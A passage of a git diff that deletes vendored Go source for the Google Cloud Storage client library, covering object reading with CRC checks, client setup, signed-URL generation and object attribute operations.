!= nil { - return err - } - if res.StatusCode == http.StatusNotFound { - res.Body.Close() - return ErrObjectNotExist - } - if res.StatusCode < 200 || res.StatusCode > 299 { - body, _ := ioutil.ReadAll(res.Body) - res.Body.Close() - return &googleapi.Error{ - Code: res.StatusCode, - Header: res.Header, - Body: string(body), - } - } - if start > 0 && length != 0 && res.StatusCode != http.StatusPartialContent { - res.Body.Close() - return errors.New("storage: partial request not satisfied") - } - // If a generation hasn't been specified, and this is the first response we get, let's record the - // generation. In future requests we'll use this generation as a precondition to avoid data races. - if gen < 0 && res.Header.Get("X-Goog-Generation") != "" { - gen64, err := strconv.ParseInt(res.Header.Get("X-Goog-Generation"), 10, 64) - if err != nil { - return err - } - gen = gen64 - } - return nil - }) - if err != nil { - return nil, err - } - return res, nil - } - - res, err := reopen(0) - if err != nil { - return nil, err - } - var ( - size int64 // total size of object, even if a range was requested. - checkCRC bool - crc uint32 - startOffset int64 // non-zero if range request. - ) - if res.StatusCode == http.StatusPartialContent { - cr := strings.TrimSpace(res.Header.Get("Content-Range")) - if !strings.HasPrefix(cr, "bytes ") || !strings.Contains(cr, "/") { - return nil, fmt.Errorf("storage: invalid Content-Range %q", cr) - } - size, err = strconv.ParseInt(cr[strings.LastIndex(cr, "/")+1:], 10, 64) - if err != nil { - return nil, fmt.Errorf("storage: invalid Content-Range %q", cr) - } - - dashIndex := strings.Index(cr, "-") - if dashIndex >= 0 { - startOffset, err = strconv.ParseInt(cr[len("bytes="):dashIndex], 10, 64) - if err != nil { - return nil, fmt.Errorf("storage: invalid Content-Range %q: %v", cr, err) - } - } - } else { - size = res.ContentLength - // Check the CRC iff all of the following hold: - // - We asked for content (length != 0). - // - We got all the content (status != PartialContent). - // - The server sent a CRC header. - // - The Go http stack did not uncompress the file. - // - We were not served compressed data that was uncompressed on download. - // The problem with the last two cases is that the CRC will not match -- GCS - // computes it on the compressed contents, but we compute it on the - // uncompressed contents. - if length != 0 && !res.Uncompressed && !uncompressedByServer(res) { - crc, checkCRC = parseCRC32c(res) - } - } - - remain := res.ContentLength - body := res.Body - if length == 0 { - remain = 0 - body.Close() - body = emptyBody - } - var metaGen int64 - if res.Header.Get("X-Goog-Generation") != "" { - metaGen, err = strconv.ParseInt(res.Header.Get("X-Goog-Metageneration"), 10, 64) - if err != nil { - return nil, err - } - } - - var lm time.Time - if res.Header.Get("Last-Modified") != "" { - lm, err = http.ParseTime(res.Header.Get("Last-Modified")) - if err != nil { - return nil, err - } - } - - attrs := ReaderObjectAttrs{ - Size: size, - ContentType: res.Header.Get("Content-Type"), - ContentEncoding: res.Header.Get("Content-Encoding"), - CacheControl: res.Header.Get("Cache-Control"), - LastModified: lm, - StartOffset: startOffset, - Generation: gen, - Metageneration: metaGen, - } - return &Reader{ - Attrs: attrs, - body: body, - size: size, - remain: remain, - wantCRC: crc, - checkCRC: checkCRC, - reopen: reopen, - }, nil -} - -func uncompressedByServer(res *http.Response) bool { - // If the data is stored as gzip but is not encoded as gzip, then it - // was uncompressed by the server. - return res.Header.Get("X-Goog-Stored-Content-Encoding") == "gzip" && - res.Header.Get("Content-Encoding") != "gzip" -} - -func parseCRC32c(res *http.Response) (uint32, bool) { - const prefix = "crc32c=" - for _, spec := range res.Header["X-Goog-Hash"] { - if strings.HasPrefix(spec, prefix) { - c, err := decodeUint32(spec[len(prefix):]) - if err == nil { - return c, true - } - } - } - return 0, false -} - -var emptyBody = ioutil.NopCloser(strings.NewReader("")) - -// Reader reads a Cloud Storage object. -// It implements io.Reader. -// -// Typically, a Reader computes the CRC of the downloaded content and compares it to -// the stored CRC, returning an error from Read if there is a mismatch. This integrity check -// is skipped if transcoding occurs. See https://cloud.google.com/storage/docs/transcoding. -type Reader struct { - Attrs ReaderObjectAttrs - body io.ReadCloser - seen, remain, size int64 - checkCRC bool // should we check the CRC? - wantCRC uint32 // the CRC32c value the server sent in the header - gotCRC uint32 // running crc - reopen func(seen int64) (*http.Response, error) -} - -// Close closes the Reader. It must be called when done reading. -func (r *Reader) Close() error { - return r.body.Close() -} - -func (r *Reader) Read(p []byte) (int, error) { - n, err := r.readWithRetry(p) - if r.remain != -1 { - r.remain -= int64(n) - } - if r.checkCRC { - r.gotCRC = crc32.Update(r.gotCRC, crc32cTable, p[:n]) - // Check CRC here. It would be natural to check it in Close, but - // everybody defers Close on the assumption that it doesn't return - // anything worth looking at. - if err == io.EOF { - if r.gotCRC != r.wantCRC { - return n, fmt.Errorf("storage: bad CRC on read: got %d, want %d", - r.gotCRC, r.wantCRC) - } - } - } - return n, err -} - -func (r *Reader) readWithRetry(p []byte) (int, error) { - n := 0 - for len(p[n:]) > 0 { - m, err := r.body.Read(p[n:]) - n += m - r.seen += int64(m) - if !shouldRetryRead(err) { - return n, err - } - // Read failed, but we will try again. Send a ranged read request that takes - // into account the number of bytes we've already seen. - res, err := r.reopen(r.seen) - if err != nil { - // reopen already retries - return n, err - } - r.body.Close() - r.body = res.Body - } - return n, nil -} - -func shouldRetryRead(err error) bool { - if err == nil { - return false - } - return strings.HasSuffix(err.Error(), "INTERNAL_ERROR") && strings.Contains(reflect.TypeOf(err).String(), "http2") -} - -// Size returns the size of the object in bytes. -// The returned value is always the same and is not affected by -// calls to Read or Close. -// -// Deprecated: use Reader.Attrs.Size. -func (r *Reader) Size() int64 { - return r.Attrs.Size -} - -// Remain returns the number of bytes left to read, or -1 if unknown. -func (r *Reader) Remain() int64 { - return r.remain -} - -// ContentType returns the content type of the object. -// -// Deprecated: use Reader.Attrs.ContentType. -func (r *Reader) ContentType() string { - return r.Attrs.ContentType -} - -// ContentEncoding returns the content encoding of the object. -// -// Deprecated: use Reader.Attrs.ContentEncoding. -func (r *Reader) ContentEncoding() string { - return r.Attrs.ContentEncoding -} - -// CacheControl returns the cache control of the object. -// -// Deprecated: use Reader.Attrs.CacheControl. -func (r *Reader) CacheControl() string { - return r.Attrs.CacheControl -} - -// LastModified returns the value of the Last-Modified header. -// -// Deprecated: use Reader.Attrs.LastModified. -func (r *Reader) LastModified() (time.Time, error) { - return r.Attrs.LastModified, nil -} diff --git a/vendor/cloud.google.com/go/storage/storage.go b/vendor/cloud.google.com/go/storage/storage.go deleted file mode 100644 index d35bd7568e..0000000000 --- a/vendor/cloud.google.com/go/storage/storage.go +++ /dev/null @@ -1,1369 +0,0 @@ -// Copyright 2014 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -package storage - -import ( - "bytes" - "context" - "crypto" - "crypto/rand" - "crypto/rsa" - "crypto/sha256" - "crypto/x509" - "encoding/base64" - "encoding/hex" - "encoding/pem" - "errors" - "fmt" - "net/http" - "net/url" - "os" - "reflect" - "regexp" - "sort" - "strconv" - "strings" - "time" - "unicode/utf8" - - "cloud.google.com/go/internal/optional" - "cloud.google.com/go/internal/trace" - "cloud.google.com/go/internal/version" - "google.golang.org/api/googleapi" - "google.golang.org/api/option" - raw "google.golang.org/api/storage/v1" - htransport "google.golang.org/api/transport/http" -) - -var ( - // ErrBucketNotExist indicates that the bucket does not exist. - ErrBucketNotExist = errors.New("storage: bucket doesn't exist") - // ErrObjectNotExist indicates that the object does not exist. - ErrObjectNotExist = errors.New("storage: object doesn't exist") -) - -const userAgent = "gcloud-golang-storage/20151204" - -const ( - // ScopeFullControl grants permissions to manage your - // data and permissions in Google Cloud Storage. - ScopeFullControl = raw.DevstorageFullControlScope - - // ScopeReadOnly grants permissions to - // view your data in Google Cloud Storage. - ScopeReadOnly = raw.DevstorageReadOnlyScope - - // ScopeReadWrite grants permissions to manage your - // data in Google Cloud Storage. - ScopeReadWrite = raw.DevstorageReadWriteScope -) - -var xGoogHeader = fmt.Sprintf("gl-go/%s gccl/%s", version.Go(), version.Repo) - -func setClientHeader(headers http.Header) { - headers.Set("x-goog-api-client", xGoogHeader) -} - -// Client is a client for interacting with Google Cloud Storage. -// -// Clients should be reused instead of created as needed. -// The methods of Client are safe for concurrent use by multiple goroutines. -type Client struct { - hc *http.Client - raw *raw.Service - // Scheme describes the scheme under the current host. - scheme string - // EnvHost is the host set on the STORAGE_EMULATOR_HOST variable. - envHost string - // ReadHost is the default host used on the reader. - readHost string -} - -// NewClient creates a new Google Cloud Storage client. -// The default scope is ScopeFullControl. To use a different scope, like ScopeReadOnly, use option.WithScopes. -func NewClient(ctx context.Context, opts ...option.ClientOption) (*Client, error) { - o := []option.ClientOption{ - option.WithScopes(ScopeFullControl), - option.WithUserAgent(userAgent), - } - opts = append(o, opts...) - hc, ep, err := htransport.NewClient(ctx, opts...) - if err != nil { - return nil, fmt.Errorf("dialing: %v", err) - } - rawService, err := raw.New(hc) - if err != nil { - return nil, fmt.Errorf("storage client: %v", err) - } - if ep != "" { - rawService.BasePath = ep - } - scheme := "https" - var host, readHost string - if host = os.Getenv("STORAGE_EMULATOR_HOST"); host != "" { - scheme = "http" - readHost = host - } else { - readHost = "storage.googleapis.com" - } - return &Client{ - hc: hc, - raw: rawService, - scheme: scheme, - envHost: host, - readHost: readHost, - }, nil -} - -// Close closes the Client. -// -// Close need not be called at program exit. -func (c *Client) Close() error { - // Set fields to nil so that subsequent uses will panic. - c.hc = nil - c.raw = nil - return nil -} - -// SigningScheme determines the API version to use when signing URLs. -type SigningScheme int - -const ( - // SigningSchemeDefault is presently V2 and will change to V4 in the future. - SigningSchemeDefault SigningScheme = iota - - // SigningSchemeV2 uses the V2 scheme to sign URLs. - SigningSchemeV2 - - // SigningSchemeV4 uses the V4 scheme to sign URLs. - SigningSchemeV4 -) - -// SignedURLOptions allows you to restrict the access to the signed URL. -type SignedURLOptions struct { - // GoogleAccessID represents the authorizer of the signed URL generation. - // It is typically the Google service account client email address from - // the Google Developers Console in the form of "xxx@developer.gserviceaccount.com". - // Required. - GoogleAccessID string - - // PrivateKey is the Google service account private key. It is obtainable - // from the Google Developers Console. - // At https://console.developers.google.com/project//apiui/credential, - // create a service account client ID or reuse one of your existing service account - // credentials. Click on the "Generate new P12 key" to generate and download - // a new private key. Once you download the P12 file, use the following command - // to convert it into a PEM file. - // - // $ openssl pkcs12 -in key.p12 -passin pass:notasecret -out key.pem -nodes - // - // Provide the contents of the PEM file as a byte slice. - // Exactly one of PrivateKey or SignBytes must be non-nil. - PrivateKey []byte - - // SignBytes is a function for implementing custom signing. For example, if - // your application is running on Google App Engine, you can use - // appengine's internal signing function: - // ctx := appengine.NewContext(request) - // acc, _ := appengine.ServiceAccount(ctx) - // url, err := SignedURL("bucket", "object", &SignedURLOptions{ - // GoogleAccessID: acc, - // SignBytes: func(b []byte) ([]byte, error) { - // _, signedBytes, err := appengine.SignBytes(ctx, b) - // return signedBytes, err - // }, - // // etc. - // }) - // - // Exactly one of PrivateKey or SignBytes must be non-nil. - SignBytes func([]byte) ([]byte, error) - - // Method is the HTTP method to be used with the signed URL. - // Signed URLs can be used with GET, HEAD, PUT, and DELETE requests. - // Required. - Method string - - // Expires is the expiration time on the signed URL. It must be - // a datetime in the future. For SigningSchemeV4, the expiration may be no - // more than seven days in the future. - // Required. - Expires time.Time - - // ContentType is the content type header the client must provide - // to use the generated signed URL. - // Optional. - ContentType string - - // Headers is a list of extension headers the client must provide - // in order to use the generated signed URL. - // Optional. - Headers []string - - // MD5 is the base64 encoded MD5 checksum of the file. - // If provided, the client should provide the exact value on the request - // header in order to use the signed URL. - // Optional. - MD5 string - - // Scheme determines the version of URL signing to use. Default is - // SigningSchemeV2. - Scheme SigningScheme -} - -var ( - tabRegex = regexp.MustCompile(`[\t]+`) - // I was tempted to call this spacex. :) - spaceRegex = regexp.MustCompile(` +`) - - canonicalHeaderRegexp = regexp.MustCompile(`(?i)^(x-goog-[^:]+):(.*)?$`) - excludedCanonicalHeaders = map[string]bool{ - "x-goog-encryption-key": true, - "x-goog-encryption-key-sha256": true, - } -) - -// v2SanitizeHeaders applies the specifications for canonical extension headers at -// https://cloud.google.com/storage/docs/access-control/signed-urls#about-canonical-extension-headers. -func v2SanitizeHeaders(hdrs []string) []string { - headerMap := map[string][]string{} - for _, hdr := range hdrs { - // No leading or trailing whitespaces. - sanitizedHeader := strings.TrimSpace(hdr) - - var header, value string - // Only keep canonical headers, discard any others. - headerMatches := canonicalHeaderRegexp.FindStringSubmatch(sanitizedHeader) - if len(headerMatches) == 0 { - continue - } - header = headerMatches[1] - value = headerMatches[2] - - header = strings.ToLower(strings.TrimSpace(header)) - value = strings.TrimSpace(value) - - if excludedCanonicalHeaders[header] { - // Do not keep any deliberately excluded canonical headers when signing. - continue - } - - if len(value) > 0 { - // Remove duplicate headers by appending the values of duplicates - // in their order of appearance. - headerMap[header] = append(headerMap[header], value) - } - } - - var sanitizedHeaders []string - for header, values := range headerMap { - // There should be no spaces around the colon separating the header name - // from the header value or around the values themselves. The values - // should be separated by commas. - // - // NOTE: The semantics for headers without a value are not clear. - // However from specifications these should be edge-cases anyway and we - // should assume that there will be no canonical headers using empty - // values. Any such headers are discarded at the regexp stage above. - sanitizedHeaders = append(sanitizedHeaders, fmt.Sprintf("%s:%s", header, strings.Join(values, ","))) - } - sort.Strings(sanitizedHeaders) - return sanitizedHeaders -} - -// v4SanitizeHeaders applies the specifications for canonical extension headers -// at https://cloud.google.com/storage/docs/access-control/signed-urls#about-canonical-extension-headers. -// -// V4 does a couple things differently from V2: -// - Headers get sorted by key, instead of by key:value. We do this in -// signedURLV4. -// - There's no canonical regexp: we simply split headers on :. -// - We don't exclude canonical headers. -// - We replace leading and trailing spaces in header values, like v2, but also -// all intermediate space duplicates get stripped. That is, there's only ever -// a single consecutive space. -func v4SanitizeHeaders(hdrs []string) []string { - headerMap := map[string][]string{} - for _, hdr := range hdrs { - // No leading or trailing whitespaces. - sanitizedHeader := strings.TrimSpace(hdr) - - var key, value string - headerMatches := strings.Split(sanitizedHeader, ":") - if len(headerMatches) < 2 { - continue - } - - key = headerMatches[0] - value = headerMatches[1] - - key = strings.ToLower(strings.TrimSpace(key)) - value = strings.TrimSpace(value) - value = string(spaceRegex.ReplaceAll([]byte(value), []byte(" "))) - value = string(tabRegex.ReplaceAll([]byte(value), []byte("\t"))) - - if len(value) > 0 { - // Remove duplicate headers by appending the values of duplicates - // in their order of appearance. - headerMap[key] = append(headerMap[key], value) - } - } - - var sanitizedHeaders []string - for header, values := range headerMap { - // There should be no spaces around the colon separating the header name - // from the header value or around the values themselves. The values - // should be separated by commas. - // - // NOTE: The semantics for headers without a value are not clear. - // However from specifications these should be edge-cases anyway and we - // should assume that there will be no canonical headers using empty - // values. Any such headers are discarded at the regexp stage above. - sanitizedHeaders = append(sanitizedHeaders, fmt.Sprintf("%s:%s", header, strings.Join(values, ","))) - } - return sanitizedHeaders -} - -// SignedURL returns a URL for the specified object. Signed URLs allow -// the users access to a restricted resource for a limited time without having a -// Google account or signing in. For more information about the signed -// URLs, see https://cloud.google.com/storage/docs/accesscontrol#Signed-URLs. -func SignedURL(bucket, name string, opts *SignedURLOptions) (string, error) { - now := utcNow() - if err := validateOptions(opts, now); err != nil { - return "", err - } - - switch opts.Scheme { - case SigningSchemeV2: - opts.Headers = v2SanitizeHeaders(opts.Headers) - return signedURLV2(bucket, name, opts) - case SigningSchemeV4: - opts.Headers = v4SanitizeHeaders(opts.Headers) - return signedURLV4(bucket, name, opts, now) - default: // SigningSchemeDefault - opts.Headers = v2SanitizeHeaders(opts.Headers) - return signedURLV2(bucket, name, opts) - } -} - -func validateOptions(opts *SignedURLOptions, now time.Time) error { - if opts == nil { - return errors.New("storage: missing required SignedURLOptions") - } - if opts.GoogleAccessID == "" { - return errors.New("storage: missing required GoogleAccessID") - } - if (opts.PrivateKey == nil) == (opts.SignBytes == nil) { - return errors.New("storage: exactly one of PrivateKey or SignedBytes must be set") - } - if opts.Method == "" { - return errors.New("storage: missing required method option") - } - if opts.Expires.IsZero() { - return errors.New("storage: missing required expires option") - } - if opts.MD5 != "" { - md5, err := base64.StdEncoding.DecodeString(opts.MD5) - if err != nil || len(md5) != 16 { - return errors.New("storage: invalid MD5 checksum") - } - } - if opts.Scheme == SigningSchemeV4 { - cutoff := now.Add(604801 * time.Second) // 7 days + 1 second - if !opts.Expires.Before(cutoff) { - return errors.New("storage: expires must be within seven days from now") - } - } - return nil -} - -const ( - iso8601 = "20060102T150405Z" - yearMonthDay = "20060102" -) - -// utcNow returns the current time in UTC and is a variable to allow for -// reassignment in tests to provide deterministic signed URL values. -var utcNow = func() time.Time { - return time.Now().UTC() -} - -// extractHeaderNames takes in a series of key:value headers and returns the -// header names only. -func extractHeaderNames(kvs []string) []string { - var res []string - for _, header := range kvs { - nameValue := strings.Split(header, ":") - res = append(res, nameValue[0]) - } - return res -} - -// signedURLV4 creates a signed URL using the sigV4 algorithm. -func signedURLV4(bucket, name string, opts *SignedURLOptions, now time.Time) (string, error) { - buf := &bytes.Buffer{} - fmt.Fprintf(buf, "%s\n", opts.Method) - u := &url.URL{Path: bucket} - if name != "" { - u.Path += "/" + name - } - - // Note: we have to add a / here because GCS does so auto-magically, despite - // Go's EscapedPath not doing so (and we have to exactly match their - // canonical query). - fmt.Fprintf(buf, "/%s\n", u.EscapedPath()) - - headerNames := append(extractHeaderNames(opts.Headers), "host") - if opts.ContentType != "" { - headerNames = append(headerNames, "content-type") - } - if opts.MD5 != "" { - headerNames = append(headerNames, "content-md5") - } - sort.Strings(headerNames) - signedHeaders := strings.Join(headerNames, ";") - timestamp := now.Format(iso8601) - credentialScope := fmt.Sprintf("%s/auto/storage/goog4_request", now.Format(yearMonthDay)) - canonicalQueryString := url.Values{ - "X-Goog-Algorithm": {"GOOG4-RSA-SHA256"}, - "X-Goog-Credential": {fmt.Sprintf("%s/%s", opts.GoogleAccessID, credentialScope)}, - "X-Goog-Date": {timestamp}, - "X-Goog-Expires": {fmt.Sprintf("%d", int(opts.Expires.Sub(now).Seconds()))}, - "X-Goog-SignedHeaders": {signedHeaders}, - } - fmt.Fprintf(buf, "%s\n", canonicalQueryString.Encode()) - - u.Host = "storage.googleapis.com" - - var headersWithValue []string - headersWithValue = append(headersWithValue, "host:"+u.Host) - headersWithValue = append(headersWithValue, opts.Headers...) - if opts.ContentType != "" { - headersWithValue = append(headersWithValue, "content-type:"+strings.TrimSpace(opts.ContentType)) - } - if opts.MD5 != "" { - headersWithValue = append(headersWithValue, "content-md5:"+strings.TrimSpace(opts.MD5)) - } - canonicalHeaders := strings.Join(sortHeadersByKey(headersWithValue), "\n") - fmt.Fprintf(buf, "%s\n\n", canonicalHeaders) - fmt.Fprintf(buf, "%s\n", signedHeaders) - fmt.Fprint(buf, "UNSIGNED-PAYLOAD") - - sum := sha256.Sum256(buf.Bytes()) - hexDigest := hex.EncodeToString(sum[:]) - signBuf := &bytes.Buffer{} - fmt.Fprint(signBuf, "GOOG4-RSA-SHA256\n") - fmt.Fprintf(signBuf, "%s\n", timestamp) - fmt.Fprintf(signBuf, "%s\n", credentialScope) - fmt.Fprintf(signBuf, "%s", hexDigest) - - signBytes := opts.SignBytes - if opts.PrivateKey != nil { - key, err := parseKey(opts.PrivateKey) - if err != nil { - return "", err - } - signBytes = func(b []byte) ([]byte, error) { - sum := sha256.Sum256(b) - return rsa.SignPKCS1v15( - rand.Reader, - key, - crypto.SHA256, - sum[:], - ) - } - } - b, err := signBytes(signBuf.Bytes()) - if err != nil { - return "", err - } - signature := hex.EncodeToString(b) - canonicalQueryString.Set("X-Goog-Signature", string(signature)) - u.Scheme = "https" - u.RawQuery = canonicalQueryString.Encode() - return u.String(), nil -} - -// takes a list of headerKey:headervalue1,headervalue2,etc and sorts by header -// key. -func sortHeadersByKey(hdrs []string) []string { - headersMap := map[string]string{} - var headersKeys []string - for _, h := range hdrs { - parts := strings.Split(h, ":") - k := parts[0] - v := parts[1] - headersMap[k] = v - headersKeys = append(headersKeys, k) - } - sort.Strings(headersKeys) - var sorted []string - for _, k := range headersKeys { - v := headersMap[k] - sorted = append(sorted, fmt.Sprintf("%s:%s", k, v)) - } - return sorted -} - -func signedURLV2(bucket, name string, opts *SignedURLOptions) (string, error) { - signBytes := opts.SignBytes - if opts.PrivateKey != nil { - key, err := parseKey(opts.PrivateKey) - if err != nil { - return "", err - } - signBytes = func(b []byte) ([]byte, error) { - sum := sha256.Sum256(b) - return rsa.SignPKCS1v15( - rand.Reader, - key, - crypto.SHA256, - sum[:], - ) - } - } - - u := &url.URL{ - Path: fmt.Sprintf("/%s/%s", bucket, name), - } - - buf := &bytes.Buffer{} - fmt.Fprintf(buf, "%s\n", opts.Method) - fmt.Fprintf(buf, "%s\n", opts.MD5) - fmt.Fprintf(buf, "%s\n", opts.ContentType) - fmt.Fprintf(buf, "%d\n", opts.Expires.Unix()) - if len(opts.Headers) > 0 { - fmt.Fprintf(buf, "%s\n", strings.Join(opts.Headers, "\n")) - } - fmt.Fprintf(buf, "%s", u.String()) - - b, err := signBytes(buf.Bytes()) - if err != nil { - return "", err - } - encoded := base64.StdEncoding.EncodeToString(b) - u.Scheme = "https" - u.Host = "storage.googleapis.com" - q := u.Query() - q.Set("GoogleAccessId", opts.GoogleAccessID) - q.Set("Expires", fmt.Sprintf("%d", opts.Expires.Unix())) - q.Set("Signature", string(encoded)) - u.RawQuery = q.Encode() - return u.String(), nil -} - -// ObjectHandle provides operations on an object in a Google Cloud Storage bucket. -// Use BucketHandle.Object to get a handle. -type ObjectHandle struct { - c *Client - bucket string - object string - acl ACLHandle - gen int64 // a negative value indicates latest - conds *Conditions - encryptionKey []byte // AES-256 key - userProject string // for requester-pays buckets - readCompressed bool // Accept-Encoding: gzip -} - -// ACL provides access to the object's access control list. -// This controls who can read and write this object. -// This call does not perform any network operations. -func (o *ObjectHandle) ACL() *ACLHandle { - return &o.acl -} - -// Generation returns a new ObjectHandle that operates on a specific generation -// of the object. -// By default, the handle operates on the latest generation. Not -// all operations work when given a specific generation; check the API -// endpoints at https://cloud.google.com/storage/docs/json_api/ for details. -func (o *ObjectHandle) Generation(gen int64) *ObjectHandle { - o2 := *o - o2.gen = gen - return &o2 -} - -// If returns a new ObjectHandle that applies a set of preconditions. -// Preconditions already set on the ObjectHandle are ignored. -// Operations on the new handle will return an error if the preconditions are not -// satisfied. See https://cloud.google.com/storage/docs/generations-preconditions -// for more details. -func (o *ObjectHandle) If(conds Conditions) *ObjectHandle { - o2 := *o - o2.conds = &conds - return &o2 -} - -// Key returns a new ObjectHandle that uses the supplied encryption -// key to encrypt and decrypt the object's contents. -// -// Encryption key must be a 32-byte AES-256 key. -// See https://cloud.google.com/storage/docs/encryption for details. -func (o *ObjectHandle) Key(encryptionKey []byte) *ObjectHandle { - o2 := *o - o2.encryptionKey = encryptionKey - return &o2 -} - -// Attrs returns meta information about the object. -// ErrObjectNotExist will be returned if the object is not found. -func (o *ObjectHandle) Attrs(ctx context.Context) (attrs *ObjectAttrs, err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.Object.Attrs") - defer func() { trace.EndSpan(ctx, err) }() - - if err := o.validate(); err != nil { - return nil, err - } - call := o.c.raw.Objects.Get(o.bucket, o.object).Projection("full").Context(ctx) - if err := applyConds("Attrs", o.gen, o.conds, call); err != nil { - return nil, err - } - if o.userProject != "" { - call.UserProject(o.userProject) - } - if err := setEncryptionHeaders(call.Header(), o.encryptionKey, false); err != nil { - return nil, err - } - var obj *raw.Object - setClientHeader(call.Header()) - err = runWithRetry(ctx, func() error { obj, err = call.Do(); return err }) - if e, ok := err.(*googleapi.Error); ok && e.Code == http.StatusNotFound { - return nil, ErrObjectNotExist - } - if err != nil { - return nil, err - } - return newObject(obj), nil -} - -// Update updates an object with the provided attributes. -// All zero-value attributes are ignored. -// ErrObjectNotExist will be returned if the object is not found. -func (o *ObjectHandle) Update(ctx context.Context, uattrs ObjectAttrsToUpdate) (oa *ObjectAttrs, err error) { - ctx = trace.StartSpan(ctx, "cloud.google.com/go/storage.Object.Update") - defer func() { trace.EndSpan(ctx, err) }() - - if err := o.validate(); err != nil { - return nil, err - } - var attrs ObjectAttrs - // Lists of fields to send, and set to null, in the JSON. - var forceSendFields, nullFields []string - if uattrs.ContentType != nil { - attrs.ContentType = optional.ToString(uattrs.ContentType) - // For ContentType, sending the empty string is a no-op. - // Instead we send a null. - if attrs.ContentType == "" { - nullFields = append(nullFields, "ContentType") - } else { - forceSendFields = append(forceSendFields, "ContentType") - } - } - if uattrs.ContentLanguage != nil { - attrs.ContentLanguage = optional.ToString(uattrs.ContentLanguage) - // For ContentLanguage it's an error to send the empty string. - // Instead we send a null. - if attrs.ContentLanguage == "" { - nullFields = append(nullFields, "ContentLanguage") - } else { - forceSendFields = append(forceSendFields, "ContentLanguage") - } - } - if uattrs.ContentEncoding != nil { - attrs.ContentEncoding = optional.ToString(uattrs.ContentEncoding) - forceSendFields = append(forceSendFields, "ContentEncoding") - } - if uattrs.ContentDisposition != nil { - attrs.ContentDisposition = optional.ToString(uattrs.ContentDisposition) - forceSendFields = append(forceSendFields, "ContentDisposition") - } - if uattrs.CacheControl != nil { - attrs.CacheControl = optional.ToString(uattrs.CacheControl) - forceSendFields = append(forceSendFields, "CacheControl") - } - if uattrs.EventBasedHold != nil { - attrs.EventBasedHold = optional.ToBool(uattrs.EventBasedHold) - forceSendFields = append(forceSendFields, "EventBasedHold") - } - if uattrs.TemporaryHold != nil { - attrs.TemporaryHold = optional.ToBool(uattrs.TemporaryHold) - forceSendFields = append(forceSendFields, "TemporaryHold") - } - if uattrs.Metadata != nil { - attrs.Metadata = uattrs.Metadata - if len(attrs.Metadata) == 0 { - // Sending the empty map is a no-op. We send null instead. - nullFields = append(nullFields, "Metadata") - } else { - forceSendFields = append(forceSendFields, "Metadata") - } - } - if uattrs.ACL != nil { - attrs.ACL = uattrs.ACL - // It's an error to attempt to delete the ACL, so - // we don't append to nullFields here. - forceSendFields = append(forceSendFields, "Acl") - } - rawObj := attrs.toRawObject(o.bucket) - rawObj.ForceSendFields = forceSendFields - rawObj.NullFields = nullFields - call := o.c.raw.Objects.Patch(o.bucket, o.object, rawObj).Projection("full").Context(ctx) - if err := applyConds("Update", o.gen, o.conds, call); err != nil { - return nil, err - } - if o.userProject != "" { - call.UserProject(o.userProject) - } - if uattrs.PredefinedACL != "" { - call.PredefinedAcl(uattrs.PredefinedACL) - } - if err := setEncryptionHeaders(call.Header(), o.encryptionKey, false); err != nil { - return nil, err - } - var obj *raw.Object - setClientHeader(call.Header()) - err = runWithRetry(ctx, func() error { obj, err = call.Do(); return err }) - if e, ok := err.(*googleapi.Error); ok && e.Code == http.StatusNotFound { - return nil, ErrObjectNotExist - } - if err != nil { - return nil, err - } - return newObject(obj), nil -} - -// BucketName returns the name of the bucket. -func (o *ObjectHandle) BucketName() string { - return o.bucket -} - -// ObjectName returns the name of the object. -func (o *ObjectHandle) ObjectName() string { - return o.object -} - -// ObjectAttrsToUpdate is used to update the attributes of an object. -// Only fields set to non-nil values will be updated. -// Set a field to its zero value to delete it. -// -// For example, to change ContentType and delete ContentEncoding and -// Metadata, use -// ObjectAttrsToUpdate{ -// ContentType: "text/html", -// ContentEncoding: "", -// Metadata: map[string]string{}, -// } -type ObjectAttrsToUpdate struct { - EventBasedHold optional.Bool - TemporaryHold optional.Bool - ContentType optional.String - ContentLanguage optional.String - ContentEncoding optional.String - ContentDisposition optional.String - CacheControl optional.String - Metadata map[string]string // set to map[string]string{} to delete - ACL []ACLRule - - // If not empty, applies a predefined set of access controls. ACL must be nil. - // See https://cloud.google.com/storage/docs/json_api/v1/objects/patch. - PredefinedACL string -} - -// Delete deletes the single specified object. -func (o *ObjectHandle) Delete(ctx context.Context) error { - if err := o.validate(); err != nil { - return err - } - call := o.c.raw.Objects.Delete(o.bucket, o.object).Context(ctx) - if err := applyConds("Delete", o.gen, o.conds, call); err != nil { - return err - } - if o.userProject != "" { - call.UserProject(o.userProject) - } - // Encryption doesn't apply to Delete. - setClientHeader(call.Header()) - err := runWithRetry(ctx, func() error { return call.Do() }) - switch e := err.(type) { - case nil: - return nil - case *googleapi.Error: - if e.Code == http.StatusNotFound { - return ErrObjectNotExist - } - } - return err -} - -// ReadCompressed when true causes the read to happen without decompressing. -func (o *ObjectHandle) ReadCompressed(compressed bool) *ObjectHandle { - o2 := *o - o2.readCompressed = compressed - return &o2 -} - -// NewWriter returns a storage Writer that writes to the GCS object -// associated with this ObjectHandle. -// -// A new object will be created unless an object with this name already exists. -// Otherwise any previous object with the same name will be replaced. -// The object will not be available (and any previous object will remain) -// until Close has been called. -// -// Attributes can be set on the object by modifying the returned Writer's -// ObjectAttrs field before the first call to Write. If no ContentType -// attribute is specified, the content type will be automatically sniffed -// using net/http.DetectContentType. -// -// It is the caller's responsibility to call Close when writing is done. To -// stop writing without saving the data, cancel the context. -func (o *ObjectHandle) NewWriter(ctx context.Context) *Writer { - return &Writer{ - ctx: ctx, - o: o, - donec: make(chan struct{}), - ObjectAttrs: ObjectAttrs{Name: o.object}, - ChunkSize: googleapi.DefaultUploadChunkSize, - } -} - -func (o *ObjectHandle) validate() error { - if o.bucket == "" { - return errors.New("storage: bucket name is empty") - } - if o.object == "" { - return errors.New("storage: object name is empty") - } - if !utf8.ValidString(o.object) { - return fmt.Errorf("storage: object name %q is not valid UTF-8", o.object) - } - return nil -} - -// parseKey converts the binary contents of a private key file to an -// *rsa.PrivateKey. It detects whether the private key is in a PEM container or -// not. If so, it extracts the private key from PEM container before -// conversion. It only supports PEM containers with no passphrase. -func parseKey(key []byte) (*rsa.PrivateKey, error) { - if block, _ 